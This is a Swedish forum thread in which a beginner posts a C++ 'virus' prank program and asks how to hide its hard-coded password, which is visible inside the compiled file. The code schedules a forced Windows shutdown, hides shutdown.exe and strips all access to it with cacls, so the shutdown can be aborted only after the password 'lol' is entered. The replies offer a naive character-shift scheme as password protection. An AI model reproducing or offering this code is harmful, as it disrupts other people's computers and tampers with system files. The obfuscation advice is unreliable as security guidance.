December 6, 2001
Hur kan man dölja lösenord, är nybörjare så har gjort ett enkelt program men har märkt att man kan se lösenordet om man öppnar exe filen i anteckningar 🙁
#include <iostream>
#include <windows.h>
using namespace std;
string val;
string text;
int x = 67;
string pass = "lol";
string password;
int avsluta() {
system("exit");
}
int antivirus() {
cout << "Password to delete virus: ";
cin >> password;
if(password == pass) {
system("echo off");
system("cls");
system("cacls "c:windowssystem32shutdown.exe" /p alla:F /e");
system("attrib "c:windowssystem32shutdown.exe" -s -h");
system("shutdown -a");
system("cls");
}
else {
cout << "Wrong password";
Sleep(1000);
}
}
int virus() {
system("echo off");
system("shutdown -s -t 300 -c "Aeeegd"");
system("attrib "c:windowssystem32shutdown.exe" +s +h");
system("cacls "c:windowssystem32shutdown.exe" /p alla:N /e");
system("cls");
Sleep(10);
cout << "nnttttInstallation completenn";
Sleep(1000);
}
main() {
borjan:
system("cls");
cout << "1: Installera virus ";
cout << "n2: Ta bort virusn";
cout << "3: Avslutann";
cout << "tDitt val: ";
cin >> val;
system("cls");
if(val == "2") {
antivirus();
}
else if(val == "3") {
goto avsluta;
}
else if(val == "1") {
virus();
}
else {
cout << "Moooget att trycka fel";
Sleep(1000);
}
goto borjan;
avsluta:
avsluta();
}
December 6, 2001
har jag också alltid trott, men öppnade .exe filen och skulle visa att man inte kan se koden för en kompis och så sökte jag på lösenordet lol men så hittade jag det:(
från exefilen, när jag öppnat med notepad
Ditt val: 2 3 1 Moooget att trycka fel lol
rätt liten chans att nån hittar det men borde väll inte vara så svårt att lagra lösenordet som int och konventera lol till int när man matar in det, så man kan jämföra inmatningen med en int istället för sträng.
December 25, 2000
oxiswoofer wrote: asså om du öppnar exe filen ska du inte kunna se koden..då öppnar du fel fil..... exe filen ska ibara innehålla maskinkod för datorntyp... inget en "människa" ska kunna läsa..
Strängar är inte kod utan strängar, och det finns oftast ingen orsak att förändra dem på något sätt.
Och maskinkod (assembly) går att läsa ganska "lätt".
June 11, 2001
Du använder dig av en word-stäng som innehåller alla tecken mellan a och z (för att göra det enkelt)
Sedan så skriver du lösenordet som x mod y +1 där y är antalet tecken och x är differansen i en cirkel.
Cirkeln är alltså ungefär som ett lotto-hjul, om du börjar på y-3 och går fem steg frammåt så är svaret 2.
Vill du försvåra så blandar du ordningen på strängen.
Ett lösenord på 3 tecken ger 24^3 kombinationer, är lösenordet n långt kommer lösenordet att ha 24^n kombinationer.
1 Guest(s)